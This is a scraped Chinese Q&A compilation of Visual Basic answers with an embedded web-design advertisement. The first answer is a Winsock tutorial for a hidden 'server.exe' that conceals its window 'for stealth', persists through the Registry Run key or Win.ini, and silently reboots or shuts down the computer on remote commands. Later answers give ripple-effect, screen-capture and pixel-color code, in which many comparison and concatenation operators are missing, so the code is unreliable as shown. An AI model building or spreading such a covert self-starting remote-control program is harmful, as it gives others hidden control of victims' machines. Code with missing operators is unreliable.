VB中Winsock控件怎么用~~

下面是Winsock控件的相關(guān)屬性，方法和事件。(略去一些暫用不到的)

沙河網(wǎng)站建設(shè)公司創(chuàng)新互聯(lián)建站,沙河網(wǎng)站設(shè)計(jì)制作，有大型網(wǎng)站制作公司豐富經(jīng)驗(yàn)。已為沙河近千家提供企業(yè)網(wǎng)站建設(shè)服務(wù)。企業(yè)網(wǎng)站搭建\成都外貿(mào)網(wǎng)站制作要多少錢，請找那個(gè)售后服務(wù)好的沙河做網(wǎng)站的公司定做！

*屬性

-------------------------------------------------------------------------

LocalHostName | 本地機(jī)器名

LocalIP | 本地機(jī)器IP地址

LocalPort | 本地機(jī)器通信程序的端口(0端口65536)

RemoteHost | 遠(yuǎn)程機(jī)器名

RemotePort | 遠(yuǎn)程機(jī)器的通信程序端口

state | 連接的當(dāng)前狀態(tài)(文后有詳細(xì)說明)

Protocal | 使用TCP或UDP協(xié)議(這里我們選‘0-sckTCPProtocal’)

--------------------------------------------------------------------------

*方法

--------------------------------------------------------------------------

Listen

Listen方法用于服務(wù)器程序，等待客戶訪問。

格式：Winsock對象.listen

Connect

Connect方法用于向遠(yuǎn)程主機(jī)發(fā)出連接請求

格式：Winsock對象.connect [遠(yuǎn)程主機(jī)IP,遠(yuǎn)程端口]

Accept

Accept方法用于接受一個(gè)連接請求

格式：Winsock對象.accept Request ID

Senddata

此方法用于發(fā)送數(shù)據(jù)

格式：Winsock對象.senddata 數(shù)據(jù)

Getdata

用來取得接收到的數(shù)據(jù)

格式：Winsock對象.getdata 變量 [,數(shù)據(jù)類型 [,最大長度]]

Close

關(guān)閉當(dāng)前連接

格式：Winsock對象.close

*事件

----------------------------------------------------------------------------

Close | 遠(yuǎn)程機(jī)器關(guān)閉連接時(shí)觸發(fā)

Connect | 連接建立好，可以進(jìn)行通信時(shí)觸發(fā)(客戶端)

ConnectRequest | 有請求連接到達(dá)時(shí)產(chǎn)生(服務(wù)器端)

DataArrival | 有數(shù)據(jù)到達(dá)時(shí)觸發(fā)

Error | 發(fā)生錯(cuò)誤時(shí)發(fā)生

SendProgress | 數(shù)據(jù)傳送進(jìn)度

-----------------------------------------------------------------------------

程序代碼如下：

--》服務(wù)器端程序(server.exe)

先在窗體中放置Winsock控件(他在運(yùn)行時(shí)是看不見的)，屬性采用默認(rèn)值,再設(shè)置Form1的屬性ShowInTaskBar為False,Visible為False(這樣才有隱蔽性嘛).對于程序的自啟動(dòng)可手工在注冊表“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run”中增加鍵值"winserver"="c:\\windows\\server.exe"或配置文件Win.ini的Load,run寫入"C:\windows\server.exe"來達(dá)到目的。當(dāng)然也可通過在VB5中調(diào)用API函數(shù)來實(shí)現(xiàn)對注冊表的寫入，這就更方便了，不過由于實(shí)現(xiàn)過程較復(fù)雜，就不在這里說了.

Private Sub Form_Load()

On Error GoTo skip 注釋：如此端口已有通信程序則退出

Winsock1.LocalPort = 1334 注釋：端口值應(yīng)大于1024，如還有沖突可改為其他值

Winsock1.Listen

Exit Sub

skip:

If Err.Number = 10048 Then

MsgBox "端口沖突，退出！", vbOKOnly, "注意！"

End

End If

End Sub

Private Sub Winsock1_Close()

If Winsock1.State sckClosed Then Winsock1.Close

Winsock1.Listen 注釋：關(guān)閉連接后繼續(xù)監(jiān)聽

End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)

If Winsock1.State sckClosed Then Winsock1.Close

Winsock1.Accept requestID 注釋：請求到達(dá)時(shí)，接受連接

End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)

Dim strget As String

Dim ccom As String

Winsock1.GetData strget 注釋：讀取到達(dá)的數(shù)據(jù)

Select Case strget

Case "a" 注釋：判斷到達(dá)的數(shù)據(jù)是否‘a(chǎn)’，是則重啟，你也可自己定義(協(xié)議就是這樣產(chǎn)生的)

ccom = curr_win() + "\RUNDLL.EXE user.exe,exitwindowsexec" 注釋：不同機(jī)器設(shè)置不一樣

Call Shell(ccom, vbHide) 注釋：由函數(shù)curr_win()來判斷

Case "b" 注釋：如為‘b’則關(guān)閉計(jì)算機(jī)

ccom = curr_win() + "\RUNDLL.EXE user.exe,exitwindows"

Call Shell(ccom, vbHide) 注釋：函數(shù)shell來執(zhí)行命令

Case Else 注釋：可以在此加入其他命令

End Select

End Sub

Function curr_win() As String

Dim i As Integer

Dim enstr As String

i = 1 注釋：此函數(shù)通過讀取環(huán)境變量來獲得Windows目錄

enstr = Environ(i)

Do While enstr ""

If Len(enstr) 11 Then

If Left(enstr, 11) = "winbootdir=" Then

curr_win = Right(enstr, Len(enstr) - 11)

Exit Do

End If

End If

i = i + 1

enstr = Environ(i)

Loop

End Function

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal

Scode As Long, ByVal Source As String, ByVal HelpFile As String,

ByVal HelpContext As Long, CancelDisplay As Boolean)

MsgBox "錯(cuò)誤", vbOKOnly, "注意！" 注釋：如程序出現(xiàn)錯(cuò)誤，則簡單的退出

End

End Sub

求一個(gè)能實(shí)現(xiàn)屏幕水波紋效果的vb代碼

'補(bǔ)模塊3文件。一個(gè)放不下。

'

' 渲染子程序，將新的幀數(shù)據(jù)渲染到 lpDIBitsRender 中

' 算法：

' posx = Wave1(x-1,y)-Wave1(x+1,y)+x

' posy = Wave1(x,y-1)-Wave1(x,y+1)+y

' SourceBmp(x,y) = DestBmp(posx,posy)

'

Public Sub WaveRender(lpWaveObject As WAVE_OBJECT)

Dim dwPosX As Long, dwPosY As Long, dwPtrSource As Long, dwPtrDest As Long, dwFlag As Long

Dim lpWave1 As Long, LineIdx As Long, LinePtr As Long

Dim lpDIBitsSource As Long, lpDIBitsRender As Long

Dim I As Long, J As Long

dwFlag = 0

With lpWaveObject

'Debug.Print "WaveRender " .dwFlag

If (.dwFlag And F_WO_ACTIVE) = 0 Then Exit Sub

.dwFlag = .dwFlag Or F_WO_NEED_UPDATE

lpWave1 = .lpWave1

LineIdx = .dwWaveByteWidth '像素指針

For I = 1 To .dwBmpHeight - 2

For J = 0 To .dwBmpWidth - 1

'********************************************************************

' PosY=i+像素上1能量-像素下1能量

' PosX=j+像素左1能量-像素右1能量

'********************************************************************

'LineIdx = LineIdx - .dwWaveByteWidth

LinePtr = lpWave1 + LineIdx - .dwWaveByteWidth

pLongPtr(0) = LinePtr

dwPosY = pLong(0)

LinePtr = lpWave1 + LineIdx + .dwWaveByteWidth

pLongPtr(0) = LinePtr

dwPosY = dwPosY - pLong(0) + I

LinePtr = lpWave1 + LineIdx - 4

pLongPtr(0) = LinePtr

dwPosX = pLong(0)

LinePtr = lpWave1 + LineIdx + 4

pLongPtr(0) = LinePtr

dwPosX = dwPosX - pLong(0) + J

If dwPosX 0 Or dwPosY 0 Then GoTo Continue

If dwPosX = .dwBmpWidth Or dwPosY = .dwBmpHeight Then GoTo Continue

'********************************************************************

' ptrSource = dwPosY * dwDIByteWidth + dwPosX * 3

' ptrDest = i * dwDIByteWidth + j * 3

'********************************************************************

'dwPtrSource = dwPosY * .dwDIByteWidth + (dwPosX + dwPosX * 2)

dwPosX = dwPosX + dwPosX * 2 'dwPosX * 3

dwPtrSource = dwPosY * .dwDIByteWidth + dwPosX

dwPtrDest = I * .dwDIByteWidth + (J + J * 2) 'dwPtrDest = I * .dwDIByteWidth + J * 3

'********************************************************************

' 渲染像素 [ptrDest] = 原始像素 [ptrSource]

'********************************************************************

lpDIBitsSource = .lpDIBitsSource + dwPtrSource

lpDIBitsRender = .lpDIBitsRender + dwPtrDest

If dwPtrSource dwPtrDest Then

dwFlag = dwFlag Or 1 '如果存在源像素和目標(biāo)像素不同，則表示還在活動(dòng)狀態(tài)

' Debug.Print dwPtrSource " SR " dwPtrDest

'CopyMemory ByVal lpDIBitsRender, ByVal lpDIBitsSource, 3

Call WaveGetPixel(lpDIBitsSource, lpDIBitsRender, .dwDIByteWidth)

Else

CopyMemory ByVal lpDIBitsRender, ByVal lpDIBitsSource, 3

End If

'********************************************************************

' 繼續(xù)循環(huán)

'********************************************************************

Continue:

LineIdx = LineIdx + 4 '像素++ '指針4個(gè)字節(jié)

Next 'J

Next 'I

SetDIBits .hDcRender, .hBmpRender, 0, .dwBmpHeight, .lpDIBitsRender, .stBmpInfo, DIB_RGB_COLORS

If dwFlag = 0 Then .dwFlag = .dwFlag And (Not F_WO_ACTIVE)

'Debug.Print "WaveRender " .dwFlag

End With

End Sub

Public Sub WaveUpdateFrame(lpWaveObject As WAVE_OBJECT, ByVal hdc As Long, bIfForce As Boolean)

'Dim ret As Long

With lpWaveObject

If bIfForce = True Then GoTo labUpdate

If (.dwFlag And F_WO_NEED_UPDATE) Then

'ret = SetDIBitsToDevice(.hDcRender, 0, 0, .dwBmpWidth, .dwBmpHeight, 0, 0, 0, .dwBmpHeight, .lpDIBitsRender, .stBmpInfo, DIB_RGB_COLORS)

'ret = SetDIBits(.hDcRender, .hBmpRender, 0, .dwBmpHeight, .lpDIBitsRender, .stBmpInfo, DIB_RGB_COLORS)

'SetDIBits .hDcRender, .hBmpRender, 0, .dwBmpHeight, .lpDIBitsRender, .stBmpInfo, DIB_RGB_COLORS

labUpdate:

BitBlt hdc, 0, 0, .dwBmpWidth, .dwBmpHeight, .hDcRender, 0, 0, SRCCOPY

.dwFlag = .dwFlag And (Not F_WO_NEED_UPDATE)

End If

End With

End Sub

'

' 扔一塊石頭

'

Public Sub WaveDropStone(lpWaveObject As WAVE_OBJECT, ByVal dwPosX As Long, ByVal dwPosY As Long, ByVal dwStoneSize As Long, ByVal dwStoneWeight As Long)

Dim dwSize As Long

Dim dwX1 As Long, dwX2 As Long

Dim dwY1 As Long, dwY2 As Long, dwY3 As Long

'Dim dwMaxX As Long, dwMaxY As Long

Dim LinePtr As Long

With lpWaveObject

'Debug.Print "WaveDropStone " .dwFlag

'********************************************************************

' 計(jì)算范圍

'********************************************************************

dwSize = dwStoneSize \ H2 '2 ^ 1

dwX1 = dwPosX + dwSize

dwX2 = dwPosX - dwSize

If (.dwFlag And F_WO_ELLIPSE) Then dwSize = dwSize \ H2 ' 2 ^ 1

dwY1 = dwPosY + dwSize

dwY2 = dwPosY - dwSize

dwSize = dwStoneSize

If dwSize = 0 Then dwSize = dwSize + 1

'********************************************************************

' 判斷范圍的合法性

'********************************************************************

If dwX1 + 1 = .dwBmpWidth Or dwX2 1 Or dwY1 + 1 = .dwBmpHeight Or dwY2 1 Then Exit Sub

'********************************************************************

' 將范圍內(nèi)的點(diǎn)的能量置為 dwStoneWeight

'********************************************************************

While dwX2 = dwX1

dwY3 = dwY2

While dwY3 = dwY1

'(x-x0)^2+(y-y0)^2=r^2 就在圓內(nèi)

If (dwX2 - dwPosX) * (dwX2 - dwPosX) + (dwY3 - dwPosY) * (dwY3 - dwPosY) = dwSize * dwSize Then

LinePtr = .lpWave1 + (dwY3 * .dwBmpWidth + dwX2) * H4 '2 ^ 2

pLongPtr(0) = LinePtr

pLong(0) = dwStoneWeight

End If

dwY3 = dwY3 + 1

Wend

dwX2 = dwX2 + 1

Wend

.dwFlag = .dwFlag Or F_WO_ACTIVE

End With

End Sub

'

' 計(jì)算擴(kuò)散數(shù)據(jù)、渲染位圖、更新窗口、處理特效的定時(shí)器過程

'

Public Sub WaveTimerProc(ByVal hWnd As Long, ByVal uMsg As Long, ByVal idEvent As Long, ByVal dwTime As Long)

Dim hdc As Long

Dim dwPosX As Long, dwPosY As Long, dwSize As Long, dwWeight As Long

Dim lpWaveObj As Long

'建立模擬指針

Dim pWAVE_OBJECT() As WAVE_OBJECT

Dim pWAVE_OBJECTPtr() As Long

Dim SApWAVE_OBJECT As SAFEARRAY1D

Dim SApWAVE_OBJECTPtr As SAFEARRAY1D

With SApWAVE_OBJECT

.cDims = 1

.fFeatures = 0

.cbElements = 1

.cLocks = 0

.pvData = 0

.Bounds(0).lLbound = 0

.Bounds(0).cElements = 1

End With

With SApWAVE_OBJECTPtr

.cDims = 1

.fFeatures = 0

.cbElements = 4

.cLocks = 0

.pvData = VarPtr(SApWAVE_OBJECT.pvData)

.Bounds(0).lLbound = 0

.Bounds(0).cElements = 1

End With

CopyMemory ByVal VarPtrArray(pWAVE_OBJECT), VarPtr(SApWAVE_OBJECT), 4

CopyMemory ByVal VarPtrArray(pWAVE_OBJECTPtr), VarPtr(SApWAVE_OBJECTPtr), 4

lpWaveObj = idEvent

pWAVE_OBJECTPtr(0) = lpWaveObj

'Debug.Print "WaveTimerProc " pWAVE_OBJECT(0).dwFlag

Call WaveSpread(pWAVE_OBJECT(0))

Call WaveRender(pWAVE_OBJECT(0))

With pWAVE_OBJECT(0)

If (.dwFlag And F_WO_NEED_UPDATE) Then

hdc = GetDC(.hWnd)

Call WaveUpdateFrame(pWAVE_OBJECT(0), hdc, False)

Call ReleaseDC(.hWnd, hdc)

End If

'********************************************************************

' 特效處理

'********************************************************************

If (.dwFlag And F_WO_EFFECT) = 0 Then Exit Sub

Select Case .dwEffectType

'********************************************************************

' Type = 1 雨點(diǎn)，Param1＝速度（0最快，越大越慢），Param2＝雨點(diǎn)大小，Param3＝能量

'********************************************************************

Case 1

'Dim ret As Long

If .dwEffectParam1 0 Then Call WaveRandom(pWAVE_OBJECT(0), .dwEffectParam1) 'ret = WaveRandom(pWAVE_OBJECT(0), .dwEffectParam1)

'If ret = 0 Then

dwPosX = WaveRandom(pWAVE_OBJECT(0), .dwBmpWidth - 2) + 1

dwPosY = WaveRandom(pWAVE_OBJECT(0), .dwBmpHeight - 2) + 1

dwSize = WaveRandom(pWAVE_OBJECT(0), .dwEffectParam2) + 1

dwWeight = WaveRandom(pWAVE_OBJECT(0), .dwEffectParam3) + 50

Call WaveDropStone(pWAVE_OBJECT(0), dwPosX, dwPosY, dwSize, dwWeight)

'End If

'********************************************************************

' Type = 2 行船，Param1＝速度（0最快，越大越快），Param2＝大小，Param3＝能量

'********************************************************************

Case 2

.dwEff2Flip = .dwEff2Flip + 1

If (.dwEff2Flip And 1) 0 Then Exit Sub

dwPosX = .dwEff2X + .dwEff2XAdd

dwPosY = .dwEff2Y + .dwEff2YAdd

If dwPosX 1 Then

dwPosX = -(dwPosX - 1)

.dwEff2XAdd = -.dwEff2XAdd

End If

If dwPosY 1 Then

dwPosY = -(dwPosY - 1)

.dwEff2YAdd = -.dwEff2YAdd

End If

If dwPosX .dwBmpWidth - 1 Then

dwPosX = (.dwBmpWidth - 1) - (dwPosX - (.dwBmpWidth - 1)) '(.dwBmpWidth - 1)*2 -dwPosX

.dwEff2XAdd = -.dwEff2XAdd

End If

If dwPosY .dwBmpHeight - 1 Then

dwPosY = (.dwBmpHeight - 1) - (dwPosY - (.dwBmpHeight - 1)) '(.dwBmpHeight-1)*2-dwPosY

.dwEff2YAdd = -.dwEff2YAdd

End If

.dwEff2X = dwPosX

.dwEff2Y = dwPosY

Call WaveDropStone(pWAVE_OBJECT(0), dwPosX, dwPosY, .dwEffectParam2, .dwEffectParam3)

'********************************************************************

' Type = 3 波浪，Param1＝密度，Param2＝大小，Param3＝能量

'********************************************************************

Case 3

Dim I As Long

For I = 0 To .dwEffectParam1

dwPosX = WaveRandom(pWAVE_OBJECT(0), .dwBmpWidth - 2) + 1

dwPosY = WaveRandom(pWAVE_OBJECT(0), .dwBmpHeight - 2) + 1

dwSize = WaveRandom(pWAVE_OBJECT(0), .dwEffectParam2) + 1

dwWeight = WaveRandom(pWAVE_OBJECT(0), .dwEffectParam3)

Call WaveDropStone(pWAVE_OBJECT(0), dwPosX, dwPosY, dwSize, dwWeight)

Next

End Select

End With

'取消模擬指針

CopyMemory ByVal VarPtrArray(pWAVE_OBJECT), 0, 4

CopyMemory ByVal VarPtrArray(pWAVE_OBJECTPtr), 0, 4

End Sub

'

'釋放對象

'

Public Sub WaveFree(lpWaveObject As WAVE_OBJECT)

With lpWaveObject

If .hDcRender 0 Then DeleteDC (.hDcRender)

If .hBmpRender 0 Then DeleteObject .hBmpRender

If .lpDIBitsSource 0 Then GlobalFree .lpDIBitsSource

If .lpDIBitsRender 0 Then GlobalFree .lpDIBitsRender

If .lpWave1 0 Then GlobalFree .lpWave1

If .lpWave2 0 Then GlobalFree .lpWave2

KillTimer .hWnd, VarPtr(lpWaveObject)

ZeroMemory ByVal VarPtr(lpWaveObject), Len(lpWaveObject)

'-----------------------------------------------------------

'取消模擬指針

CopyMemory ByVal VarPtrArray(pLong), 0, 4

CopyMemory ByVal VarPtrArray(pLongPtr), 0, 4

'-----------------------------------------------------------------

'取消模擬指針

CopyMemory ByVal VarPtrArray(pByte), 0, 4

CopyMemory ByVal VarPtrArray(pBytePtr), 0, 4

'-----------------------------------------------------------

End With

End Sub

'

' 初始化對象

' 參數(shù)：_lpWaveObject ＝ 指向 WAVE_OBJECT結(jié)構(gòu)體

' 返回：0 成功、 1 失敗

'

Public Function WaveInit(lpWaveObject As WAVE_OBJECT, ByVal hWnd As Long, ByVal hBmp As Long, ByVal dwSpeed As Long, ByVal dwType As WaveType) As Long

Dim stBmp As BITMAP

Dim dwReturn As Long

Dim ret As Long

Dim hdc As Long

Dim hMDC As Long

'-----------------------------------------------------------------

'建立模擬指針

With SApLong

.cDims = 1

.fFeatures = 0

.cbElements = 1

.cLocks = 0

.pvData = 0

.Bounds(0).lLbound = 0

.Bounds(0).cElements = 1

End With

With SApLongPtr

.cDims = 1

.fFeatures = 0

.cbElements = 4

.cLocks = 0

.pvData = VarPtr(SApLong.pvData)

.Bounds(0).lLbound = 0

.Bounds(0).cElements = 1

End With

CopyMemory ByVal VarPtrArray(pLong), VarPtr(SApLong), 4

CopyMemory ByVal VarPtrArray(pLongPtr), VarPtr(SApLongPtr), 4

'-----------------------------------------------------------------

'建立模擬指針

With SApByte

.cDims = 1

.fFeatures = 0

.cbElements = 1

.cLocks = 0

.pvData = 0

.Bounds(0).lLbound = 0

.Bounds(0).cElements = 3

End With

With SApBytePtr

.cDims = 1

.fFeatures = 0

.cbElements = 4

.cLocks = 0

.pvData = VarPtr(SApByte.pvData)

.Bounds(0).lLbound = 0

.Bounds(0).cElements = 1

End With

CopyMemory ByVal VarPtrArray(pByte), VarPtr(SApByte), 4

CopyMemory ByVal VarPtrArray(pBytePtr), VarPtr(SApBytePtr), 4

'-----------------------------------------------------------------

dwReturn = 0

ZeroMemory ByVal VarPtr(lpWaveObject), Len(lpWaveObject)

'ZeroMemory lpWaveObject, H84 ' Len(WAVE_OBJECT)

With lpWaveObject

If dwType = sEllipse Then

.dwFlag = .dwFlag Or F_WO_ELLIPSE

End If

'********************************************************************

' 獲取位圖尺寸

'********************************************************************

.hWnd = hWnd

.dwRandom = GetTickCount()

ret = GetObject(hBmp, Len(stBmp), stBmp)

If ret = 0 Then

dwReturn = 1

GoTo result

End If

.dwBmpHeight = stBmp.bmHeight

'if lpWaveObject.dwBmpHeight 3 then dwReturn = 1:GoTo result

.dwBmpWidth = stBmp.bmWidth

'if lpWaveObject.dwBmpWidth 3 then dwReturn = 1:GoTo result

.dwWaveByteWidth = stBmp.bmWidth * H4 '2 ^ 2 'dwBmpWidth * 4

.dwDIByteWidth = (stBmp.bmWidth + stBmp.bmWidth * 2 + 3) And (Not H3) '(dwBmpWidth * 3 + 3) and ~3 ' ((W * 3 + 3) And (Not 3))

'********************************************************************

' 創(chuàng)建用于渲染的位圖

'********************************************************************

hdc = GetDC(hWnd)

.hDcRender = CreateCompatibleDC(hdc)

.hBmpRender = CreateCompatibleBitmap(hdc, .dwBmpWidth, .dwBmpHeight)

'MsgBox .hBmpRender

SelectObject .hDcRender, .hBmpRender

'********************************************************************

' 分配波能緩沖區(qū)

'********************************************************************

.lpWave1 = GlobalAlloc(GPTR, .dwWaveByteWidth * .dwBmpHeight)

.lpWave2 = GlobalAlloc(GPTR, .dwWaveByteWidth * .dwBmpHeight)

'********************************************************************

' 分配像素緩沖區(qū)

'********************************************************************

.lpDIBitsSource = GlobalAlloc(GPTR, .dwDIByteWidth * .dwBmpHeight)

.lpDIBitsRender = GlobalAlloc(GPTR, .dwDIByteWidth * .dwBmpHeight)

'********************************************************************

' 獲取原始像素?cái)?shù)據(jù)

'********************************************************************

'With .stBmpInfo.bmiHeader

.stBmpInfo.bmiHeader.biSize = Len(.stBmpInfo.bmiHeader) ' H28 'len(BITMAPINFOHEADER)

.stBmpInfo.bmiHeader.biWidth = .dwBmpWidth

.stBmpInfo.bmiHeader.biHeight = -.dwBmpHeight '- .dwBmpHeight

.stBmpInfo.bmiHeader.biPlanes = 1

.stBmpInfo.bmiHeader.biBitCount = 24

.stBmpInfo.bmiHeader.biCompression = BI_RGB

.stBmpInfo.bmiHeader.biSizeImage = 0

'End With

hMDC = CreateCompatibleDC(hdc)

SelectObject hMDC, hBmp

ReleaseDC hWnd, hdc

GetDIBits hMDC, hBmp, 0, .dwBmpHeight, .lpDIBitsSource, .stBmpInfo, DIB_RGB_COLORS

GetDIBits hMDC, hBmp, 0, .dwBmpHeight, .lpDIBitsRender, .stBmpInfo, DIB_RGB_COLORS

DeleteDC hMDC

If .lpWave1 = 0 Or .lpWave2 = 0 Or .lpDIBitsSource = 0 Or .lpDIBitsRender = 0 Or .hDcRender = 0 Then

WaveFree lpWaveObject

dwReturn = 1

End If

'Debug.Print "WaveInit " .dwFlag

SetTimer hWnd, ByVal VarPtr(lpWaveObject), dwSpeed, AddressOf WaveTimerProc

.dwFlag = .dwFlag Or F_WO_ACTIVE Or F_WO_NEED_UPDATE

'Debug.Print "WaveInit " .dwFlag

WaveRender lpWaveObject

hdc = GetDC(.hWnd)

WaveUpdateFrame lpWaveObject, hdc, True

ReleaseDC .hWnd, hdc

End With

'********************************************************************

result:

WaveInit = dwReturn

End Function

'

' 一些特效

' 輸入：dwType = 0 關(guān)閉特效

' dwType 0 開啟特效，參數(shù)具體見上面

'

Public Sub WaveEffect(lpWaveObject As WAVE_OBJECT, ByVal dwEffectType As WaveEffectType, ByVal dwParam1 As Long, ByVal dwParam2 As Long, ByVal dwParam3 As Long)

Dim dwMaxX As Long, dwMaxY As Long

With lpWaveObject

' Debug.Print "WaveEffect " .dwFlag

Select Case dwEffectType

Case wClose '關(guān)閉特效

.dwFlag = .dwFlag And (Not F_WO_EFFECT)

.dwEffectType = dwEffectType

Exit Sub

'Case wrain '下雨

Case wLaunch '汽艇

.dwEff2XAdd = dwParam1

.dwEff2YAdd = dwParam1

.dwEff2X = WaveRandom(lpWaveObject, .dwBmpWidth - 2) + 1

.dwEff2Y = WaveRandom(lpWaveObject, .dwBmpHeight - 2) + 1

' .dwEffectType = dwEffectType

' .dwEffectParam1 = dwParam1

' .dwEffectParam2 = dwParam2

' .dwEffectParam3 = dwParam3

' .dwFlag = .dwFlag Or F_WO_EFFECT

'Case wWaves '風(fēng)浪

'Case Else '默認(rèn)

End Select

.dwEffectType = dwEffectType

.dwEffectParam1 = dwParam1

.dwEffectParam2 = dwParam2

.dwEffectParam3 = dwParam3

.dwFlag = .dwFlag Or F_WO_EFFECT

End With

End Sub

完

VB.NET當(dāng)鼠標(biāo)停在屏幕任意地方，得到該點(diǎn)的顏色

我有個(gè)笨辦法，先用API抓圖到內(nèi)存里，然后再在根據(jù)你點(diǎn)鼠標(biāo)的屏幕工作區(qū)坐標(biāo)，去那圖里取色。

-----------------------

'抓圖所需的API

Private Declare Function CreateCompatibleDC Lib "GDI32" (ByVal hDC As Integer) As Integer

Private Declare Function CreateCompatibleBitmap Lib "GDI32" (ByVal hDC As Integer, ByVal nWidth As Integer, ByVal nHeight As Integer) As Integer

Private Declare Function SelectObject Lib "GDI32" (ByVal hDC As Integer, ByVal hObject As Integer) As Integer

Private Declare Function BitBlt Lib "GDI32" (ByVal srchDC As Integer, ByVal srcX As Integer, ByVal srcY As Integer, ByVal srcW As Integer, ByVal srcH As Integer, ByVal desthDC As Integer, ByVal destX As Integer, ByVal destY As Integer, ByVal op As Integer) As Integer

Private Declare Function DeleteDC Lib "GDI32" (ByVal hDC As Integer) As Integer

Private Declare Function DeleteObject Lib "GDI32" (ByVal hObj As Integer) As Integer

Declare Function GetDC Lib "user32" Alias "GetDC" (ByVal hwnd As Integer) As Integer

Const SRCCOPY As Integer = HCC0020

'抓圖的部分

Dim hDC, hMDC As Integer

Dim hBMP, hBMPOld As Integer

Dim sw, sh As Integer

hDC = GetDC(0)

hMDC = CreateCompatibleDC(hDC)

sw = Screen.PrimaryScreen.Bounds.Width

sh = Screen.PrimaryScreen.Bounds.Height

hBMP = CreateCompatibleBitmap(hDC, sw, sh)

hBMPOld = SelectObject(hMDC, hBMP)

BitBlt(hMDC, 0, 0, sw, sh, hDC, 0, 0, SRCCOPY)

hBMP = SelectObject(hMDC, hBMPOld)

Dim bmp As Bitmap = Image.FromHbitmap(New IntPtr(hBMP))

DeleteDC(hDC)

DeleteDC(hMDC)

DeleteObject(hBMP)

......

'取點(diǎn)的顏色

bmp.GetPixel(e.X, e.Y)

----------------------------

關(guān)鍵就是這些你自己組合吧，你分給的太少了，很麻煩，恕我不幫你改全了。如果要仔細(xì)幫你改，請另開高分貼，不要用新馬甲來

如何自制IE瀏覽器

用VB.net或者C#可以很快制作一個(gè)簡單的以IE為核心的瀏覽器，只需要在窗體里放一個(gè)WebBrowser組件，就可以了。要想從零開始制作一個(gè)瀏覽器是很困難的事情。你需要了解各種網(wǎng)絡(luò)協(xié)議HTTP等，還要明確Web標(biāo)準(zhǔn)，渲染文字和圖形。。。。等等等等。。。。。

VB高手請進(jìn) 關(guān)于VB截圖的圖片文件大小問題

1,建立工程，在form1 上放一個(gè)picture框

2,把下面的代碼放到代碼區(qū)

3,f5測試，會(huì)在工程目錄下生成一個(gè)jpg.里面的壓縮參數(shù)和保存位置你自己可調(diào)整

---------------------灰常nb的分割線--------------------

Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long

Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long

Private Declare Function GdiplusStartup Lib "GDIPlus" (token As Long, inputbuf As GdiplusStartupInput, ByVal outputbuf As Long) As Long

Private Declare Function GdiplusShutdown Lib "GDIPlus" (ByVal token As Long) As Long

Private Declare Function GdipCreateBitmapFromHBITMAP Lib "GDIPlus" (ByVal hbm As Long, ByVal hpal As Long, Bitmap As Long) As Long

Private Declare Function GdipDisposeImage Lib "GDIPlus" (ByVal Image As Long) As Long

Private Declare Function GdipSaveImageToFile Lib "GDIPlus" (ByVal Image As Long, ByVal filename As Long, clsidEncoder As GUID, encoderParams As Any) As Long

Private Declare Function CLSIDFromString Lib "ole32" (ByVal str As Long, id As GUID) As Long

Private Declare Function GdipCreateBitmapFromFile Lib "GDIPlus" (ByVal filename As Long, Bitmap As Long) As Long

Private Type GUID

Data1 As Long

Data2 As Integer

Data3 As Integer

Data4(0 To 7) As Byte

End Type

Private Type GdiplusStartupInput

GdiplusVersion As Long

DebugEventCallback As Long

SuppressBackgroundThread As Long

SuppressExternalCodecs As Long

End Type

Private Type EncoderParameter

GUID As GUID

NumberOfValues As Long

type As Long

Value As Long

End Type

Private Type EncoderParameters

Count As Long

Parameter As EncoderParameter

End Type

Private Sub Form_Load()

Dim rFN As String

Dim ret As Boolean

rFN = getFN

Me.Hide

Me.AutoRedraw = True

Picture1.Width = Screen.Width + 30

Picture1.Height = Screen.Height + 30

BitBlt Picture1.hDC, 0, 0, Screen.Width + 30, Screen.Height + 30, GetDC(0), 0, 0, vbSrcCopy

Set Picture1.Picture = Picture1.Image

ret = PictureBoxSaveJPG(Picture1.Picture, Replace(App.Path "\" rFN ".JPG", "\\", "\")) '保存壓縮后的圖片

End

End Sub

Function getFN() As String

Dim dD As String, tT As String

dD = Replace(CStr(Date), "-", ""): tT = Replace(CStr(Time), ":", "")

tT = Replace(tT, "下午", "pm"): tT = Replace(tT, "上午", "am")

getFN = Replace(dD tT, " ", "")

End Function

Private Function PictureBoxSaveJPG(ByVal pict As StdPicture, ByVal filename As String, Optional ByVal quality As Byte = 80) As Boolean

Dim tSI As GdiplusStartupInput

Dim lRes As Long

Dim lGDIP As Long

Dim lBitmap As Long

'初始化 GDI+

tSI.GdiplusVersion = 1

lRes = GdiplusStartup(lGDIP, tSI, 0)

If lRes = 0 Then

'從句柄創(chuàng)建 GDI+ 圖像

lRes = GdipCreateBitmapFromHBITMAP(pict.Handle, 0, lBitmap)

If lRes = 0 Then

Dim tJpgEncoder As GUID

Dim tParams As EncoderParameters

'初始化解碼器的GUID標(biāo)識

CLSIDFromString StrPtr("{557CF401-1A04-11D3-9A73-0000F81EF32E}"), tJpgEncoder

'設(shè)置解碼器參數(shù)

tParams.Count = 1

With tParams.Parameter ' Quality

'得到Quality參數(shù)的GUID標(biāo)識

CLSIDFromString StrPtr("{1D5BE4B5-FA4A-452D-9CDD-5DB35105E7EB}"), .GUID

.NumberOfValues = 1

.type = 4

.Value = VarPtr(quality)

End With

'保存圖像

lRes = GdipSaveImageToFile(lBitmap, StrPtr(filename), tJpgEncoder, tParams)

'銷毀GDI+圖像

GdipDisposeImage lBitmap

End If

'銷毀 GDI+

GdiplusShutdown lGDIP

End If

If lRes Then

PictureBoxSaveJPG = False

Else

PictureBoxSaveJPG = True

End If

End Function

C#.NET 關(guān)于GetPixel為什么總是返回-1

應(yīng)該是返回類型不對，參考下面說明。

GetPixel函數(shù)功能：該函數(shù)檢索指定坐標(biāo)點(diǎn)的像素的RGB顏色值。

函數(shù)原型：；COLORREF GetPixel(HDC hdc, int nXPos, int nYPos) VB聲明： Declare Function GetPixel Lib "gdi32" Alias "GetPixel" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long) As Long

